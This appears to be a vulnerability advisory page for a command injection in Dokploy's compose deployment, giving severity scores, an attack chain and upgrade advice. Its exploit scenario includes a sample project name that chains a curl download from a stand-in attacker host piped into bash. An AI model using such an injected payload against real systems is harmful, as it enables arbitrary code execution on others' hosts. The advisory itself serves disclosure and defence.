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Dokploy CVE-2026-72739

| EUVDEUVD-2026-55687 MEDIUM
OS Command Injection (CWE-78)
2026-08-10 GitHub_M
6.5
CVSS 3.1 · Vendor: GitHub_M
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Severity by source

Vendor (GitHub_M) PRIMARY
6.5 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
vuln.today AI
9.9 CRITICAL

Arbitrary host OS command execution via compose deployment requires only authenticated low-privileged access; scope changes because exploitation escapes the Dokploy app to the Docker host, yielding full C/I/A impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

3
Patch available
Aug 10, 2026 - 19:03 EUVD
Source Code Evidence Fetched
Aug 10, 2026 - 18:38 vuln.today
Analysis Generated
Aug 10, 2026 - 18:38 vuln.today

DescriptionCVE.org

Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, the createCommand() function constructs shell commands by interpolating compose service names and configuration into bash command strings. When a compose with a maliciously crafted name or service definition is deployed, the shell metacharacters are interpreted as command separators, allowing arbitrary command execution on the Docker host. This vulnerability is fixed in 0.29.13.

AnalysisAI

Command injection in Dokploy's createCommand() function allows authenticated users with compose deployment access to execute arbitrary OS commands on the underlying Docker host. All Dokploy releases before 0.29.13 are affected via CPE cpe:2.3:a:dokploy:dokploy:*. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate to Dokploy with compose deployment access
Delivery
Craft compose payload with shell metacharacters in appName or composePath
Exploit
Submit compose deployment via Dokploy API or UI
Execution
createCommand() interpolates unsanitized input into shell command string
Persist
Shell metacharacters execute as OS commands on Docker host
Impact
Arbitrary code runs as Dokploy server process

Vulnerability AssessmentAI

Exploitation Exploitation requires an authenticated Dokploy session with permission to create and deploy compose applications (consistent with CVSS PR:L). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The official CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N (6.5 Medium) is inconsistent with CWE-78 command injection leading to arbitrary OS execution on a Docker host - the I:N and A:N ratings do not reflect command execution impact, and S:U is questionable when exploitation escapes the application to the host OS. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An authenticated Dokploy user with compose deployment permissions creates a new compose project and sets its name to a value such as `myapp; curl http://attacker.example/shell.sh | bash` or uses a backtick payload in the composePath field. Upon triggering deployment, Dokploy's `createCommand()` interpolates the unsanitized value directly into a shell command string, causing the injected payload to execute on the Docker host as the Dokploy server process. …
Remediation Upgrade to Dokploy v0.29.13 or later; this is the vendor-released patch confirmed by the GitHub release at https://github.com/Dokploy/dokploy/releases/tag/v0.29.13 and fix commit at https://github.com/Dokploy/dokploy/commit/d48037a80203bb0ecaec4f5653aef75fcfdb656d. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

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CVE-2026-72739 vulnerability details – vuln.today

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